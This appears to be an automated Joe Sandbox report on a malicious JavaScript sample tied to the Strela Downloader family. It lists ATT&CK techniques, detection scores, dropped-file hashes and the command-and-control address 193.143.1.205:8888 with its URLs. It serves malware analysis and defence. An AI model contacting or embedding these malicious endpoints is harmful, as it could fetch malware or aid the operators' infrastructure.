Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1684156262492114486.js	8%	Virustotal		Browse
1684156262492114486.js	8%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/temH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/temH	net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3045054804.0000016F70C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/v	net.exe, 00000006.00000002.1819093898.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B19000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1817890835.0000016F70EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1819093898.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1819093898.000001A886B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1816922894.000001A886B3A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1817890835.0000016F70EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590218
Start date and time:	2025-01-13 18:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1684156262492114486.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 2.16.168.106, 2.16.168.120, 2.16.168.104, 2.16.168.113, 2.16.168.105, 2.16.168.109, 2.16.168.101, 2.16.168.111, 2.16.168.116, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.16.168.103, 2.16.168.125, 2.16.168.100, 23.209.209.135, 95.101.148.135, 2.16.168.121, 2.16.168.118, 2.16.168.122, 20.12.23.50, 13.107.246.45, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:53:09	API Interceptor	24x Sleep call for process: powershell.exe modified
12:53:13	API Interceptor	1x Sleep call for process: net.exe modified
12:53:13	API Interceptor	2x Sleep call for process: svchost.exe modified
12:53:26	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2816632483050917528.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2165116371124411090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073751095186603
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrG:KooCEYhgYEL0In
MD5:	919E8CDBC5C0D183760F7FC9145A0D8C
SHA1:	29C17DE3150AEA1BA8F68219F2F7A573E0FDA1E9
SHA-256:	D408B77805E138146D3F55239C3AE91B48DF31CA3CD7888A3B6E96ABDDC6C985
SHA-512:	1C2DF337DED2F674161B206D7DDC1B046A55814014C6F64344564039D0E3514340384641513CF568FE04F75895278AF016678D7E4174D77F88C21941DB1135FF
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2c5dc592, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42214431954737613
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	B1689DA6D7ACA78FF1217EDAB4160E82
SHA1:	BA3550EF04AD2ECEF04ED26734C1798845DA9E67
SHA-256:	5F969A5734D404A0FE65F0CFF461FF2827E89E6C16AAE98B9BB209EB0F184BDF
SHA-512:	21750976951AF20DF7103A854A385116FF9B75A6FEC4FA3791A5314BED56E1BD452735A06CE135D68D21637BBE69A871096331A1B54EEC82230E30B0D7D73C5B
Malicious:	false
Preview:	,].... .......A.......X\...;...{......................0.!..........{A..5...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................3_..5...}S....................5...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07726058860760271
Encrypted:	false
SSDEEP:	3:Il8YechAjjn13a/3pYwHallcVO/lnlZMxZNQl:Y8zPj53qZYdOewk
MD5:	5D4C721415CD9841F37C637F22BA5E09
SHA1:	8F9A4A9772687905F19A9791367CED3DA76274E3
SHA-256:	A8652DF7D35B2BB11A178ED55F06F3F674914DE70635986DA60DDBE2E1E15FCD
SHA-512:	89A111BBDD58110756306396192E549BE6F40F8A1AC9636586454C5056EE8430C194B882469B3FA2F1C2C2673FE0058009FF39B66932C89272DF574494B3DDA1
Malicious:	false
Preview:	.."......................................;...{...5...}.......{A..............{A......{A..........{A]...................5...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.165328334906044
Encrypted:	false
SSDEEP:	6:iOFbaeMM+q2Pwkn2nKuAl9OmbnIFUtHBU6ZZmwJBU6MMVkwOwkn2nKuAl9OmbjLJ:7seMM+vYfHAahFUthU6Z/LU6MMV5JfHi
MD5:	265547777BC016847B9F87FE20DE6103
SHA1:	42430CB64F4C7210BF8872948386AEFFB604E4F9
SHA-256:	58DB7929AF0C7520657A536F938494DA2E00A2885A15890C9290BD4B489F1352
SHA-512:	FDA2BF44C83519797661994AAE65E7CB31BC6061293D3E23F47E34CC29DB074DFEEC6F06317074E9B8A44A14CD119B49CE8EB99852F1A568FD5214EB49C04D76
Malicious:	false
Preview:	2025/01/13-12:53:13.660 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-12:53:13.662 1f6c Recovering log #3.2025/01/13-12:53:13.662 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.165328334906044
Encrypted:	false
SSDEEP:	6:iOFbaeMM+q2Pwkn2nKuAl9OmbnIFUtHBU6ZZmwJBU6MMVkwOwkn2nKuAl9OmbjLJ:7seMM+vYfHAahFUthU6Z/LU6MMV5JfHi
MD5:	265547777BC016847B9F87FE20DE6103
SHA1:	42430CB64F4C7210BF8872948386AEFFB604E4F9
SHA-256:	58DB7929AF0C7520657A536F938494DA2E00A2885A15890C9290BD4B489F1352
SHA-512:	FDA2BF44C83519797661994AAE65E7CB31BC6061293D3E23F47E34CC29DB074DFEEC6F06317074E9B8A44A14CD119B49CE8EB99852F1A568FD5214EB49C04D76
Malicious:	false
Preview:	2025/01/13-12:53:13.660 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-12:53:13.662 1f6c Recovering log #3.2025/01/13-12:53:13.662 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.211382129689813
Encrypted:	false
SSDEEP:	6:iOFGQN73+q2Pwkn2nKuAl9Ombzo2jMGIFUtHGQSBZmwJGQ5NVkwOwkn2nKuAl9OU:74KOvYfHAa8uFUtmh/Ukz5JfHAa8RJ
MD5:	A325E5F4A0872FA2A326E6CA2C5DFE89
SHA1:	A216BA9DF10CA2448BB859509DF167FA76B3562E
SHA-256:	721552F8CDECC694DED40252EDB283302C429F2FB457254A4DB014385AECD0D4
SHA-512:	472BBDAA8A3B167A94CB8C876858E79EA7D27B30BFF6907DD25D8EB63C948F1C5E908F46A2EAFC97B060EC2C75337BBA67B147BABF3124F6CFF06FC667207462
Malicious:	false
Preview:	2025/01/13-12:53:13.756 1c48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-12:53:13.757 1c48 Recovering log #3.2025/01/13-12:53:13.758 1c48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.211382129689813
Encrypted:	false
SSDEEP:	6:iOFGQN73+q2Pwkn2nKuAl9Ombzo2jMGIFUtHGQSBZmwJGQ5NVkwOwkn2nKuAl9OU:74KOvYfHAa8uFUtmh/Ukz5JfHAa8RJ
MD5:	A325E5F4A0872FA2A326E6CA2C5DFE89
SHA1:	A216BA9DF10CA2448BB859509DF167FA76B3562E
SHA-256:	721552F8CDECC694DED40252EDB283302C429F2FB457254A4DB014385AECD0D4
SHA-512:	472BBDAA8A3B167A94CB8C876858E79EA7D27B30BFF6907DD25D8EB63C948F1C5E908F46A2EAFC97B060EC2C75337BBA67B147BABF3124F6CFF06FC667207462
Malicious:	false
Preview:	2025/01/13-12:53:13.756 1c48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-12:53:13.757 1c48 Recovering log #3.2025/01/13-12:53:13.758 1c48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\44a499c4-dd81-41e6-98d7-c922ef9b55aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969340035861989
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2HCcaq3QYiubInP7E4T3y:Y2sRdsddMHN3QYhbG7nby
MD5:	526274657E84808230200BBE2FC7F06B
SHA1:	A78C8D4CA1383DE3E18C4E46D68245F63D63ACF4
SHA-256:	15AC4273AC46607BE8BE4BD82D8CA37C9EA1D17DCFDE191C1FA9CFBA588407E4
SHA-512:	1736ED972DFA8B6DB062856E88ECDEF4E263DF8142FA9B80EAE540EC573A9EAC4081926B224E6CF15DAA78C041DC78672C80F42DBC4607C5F50AD1EE401FC4B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381350799448402","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":402691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969340035861989
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXsBdOg2HCcaq3QYiubInP7E4T3y:Y2sRdsddMHN3QYhbG7nby
MD5:	526274657E84808230200BBE2FC7F06B
SHA1:	A78C8D4CA1383DE3E18C4E46D68245F63D63ACF4
SHA-256:	15AC4273AC46607BE8BE4BD82D8CA37C9EA1D17DCFDE191C1FA9CFBA588407E4
SHA-512:	1736ED972DFA8B6DB062856E88ECDEF4E263DF8142FA9B80EAE540EC573A9EAC4081926B224E6CF15DAA78C041DC78672C80F42DBC4607C5F50AD1EE401FC4B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381350799448402","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":402691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256122111183503
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7oyXb:etJCV4FiN/jTN/2r8Mta02fEhgO73go5
MD5:	CF59001A75B70F3C613BF48E5B795EB3
SHA1:	4122D8C061B516C2B87C43686236514A1F496381
SHA-256:	13155BCB2750DF7C33AEAC352C7BD1449F0B518044E0CB61ECB835BB088736B7
SHA-512:	FBE3EAAE73CFE28549159C137399690D2A5B577F3A25B192661D71C90F5C8C69F37F1D13BE2D2AFDE5BF6B2572B46B30747FEDD884ECBB9C90EDAADAC98F8843
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1701382816841965
Encrypted:	false
SSDEEP:	6:iOFLJBN+q2Pwkn2nKuAl9OmbzNMxIFUtH4ZmwJIVkwOwkn2nKuAl9OmbzNMFLJ:7bivYfHAa8jFUtY/e5JfHAa84J
MD5:	F9F0F902D9A48E405CF09798491874EE
SHA1:	7FA22C0FB6E3429109DD20887C9EBB28EDDE0F1B
SHA-256:	5FF62FCE98E0B9904F6DBB956A864615B06F3D92C10F748A139E62646124A4C4
SHA-512:	D8BB2FC30DFA4A4631EE25020DC374E6A4291528A05CFFDF491BFFD9D7EA377AFDFD8BE8354695124FA1F7616C6989C2D9787C173C6E34CC51A9384461636491
Malicious:	false
Preview:	2025/01/13-12:53:13.851 1c48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-12:53:13.852 1c48 Recovering log #3.2025/01/13-12:53:13.852 1c48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1701382816841965
Encrypted:	false
SSDEEP:	6:iOFLJBN+q2Pwkn2nKuAl9OmbzNMxIFUtH4ZmwJIVkwOwkn2nKuAl9OmbzNMFLJ:7bivYfHAa8jFUtY/e5JfHAa84J
MD5:	F9F0F902D9A48E405CF09798491874EE
SHA1:	7FA22C0FB6E3429109DD20887C9EBB28EDDE0F1B
SHA-256:	5FF62FCE98E0B9904F6DBB956A864615B06F3D92C10F748A139E62646124A4C4
SHA-512:	D8BB2FC30DFA4A4631EE25020DC374E6A4291528A05CFFDF491BFFD9D7EA377AFDFD8BE8354695124FA1F7616C6989C2D9787C173C6E34CC51A9384461636491
Malicious:	false
Preview:	2025/01/13-12:53:13.851 1c48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-12:53:13.852 1c48 Recovering log #3.2025/01/13-12:53:13.852 1c48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445071747113048
Encrypted:	false
SSDEEP:	384:yezci5tuiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rBs3OazzU89UTTgUL
MD5:	5384D6AC8CB51C6FDE017910266D531A
SHA1:	D01E698EA2EBC663C506EBD870DCFE07403F64BA
SHA-256:	4307B2BFF0A3CE1AE557FDEB4B25EA0F3615385128A3D922E0403022A7B9EBF5
SHA-512:	2465C517617992C38D633C0CE02011936C901318E59EC7706C3DD0B7F4B5D96D80DA387329F074535D2F8CA810330A582835A10CAB65FE842B5307024E368259
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774167069360624
Encrypted:	false
SSDEEP:	48:7MKp/E2ioyVRioy9oWoy1Cwoy1ZKOioy1noy1AYoy1Wioy1hioybioydoy1noy1p:7xpjuRFIXKQQVb9IVXEBodRBk7
MD5:	9511CEBAB129E377D05F7C939D7DA8EF
SHA1:	A55FF49411E4AE7056C3E93EA03C56B7C3F6B3B6
SHA-256:	A784A107A5931C17BFBE6DDB7B11A410CD1AE37BC02708761D226C8C47D1CAF2
SHA-512:	EEFA3509380B7E21E3DD0ED129CB6B958FD64325B1481C51E2C19E019F278874A1BE9C76D33559D2B3775AE8B5F093CCCABCED83C89EDB9498DB26C54AD31A64
Malicious:	false
Preview:	.... .c.....{}4................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
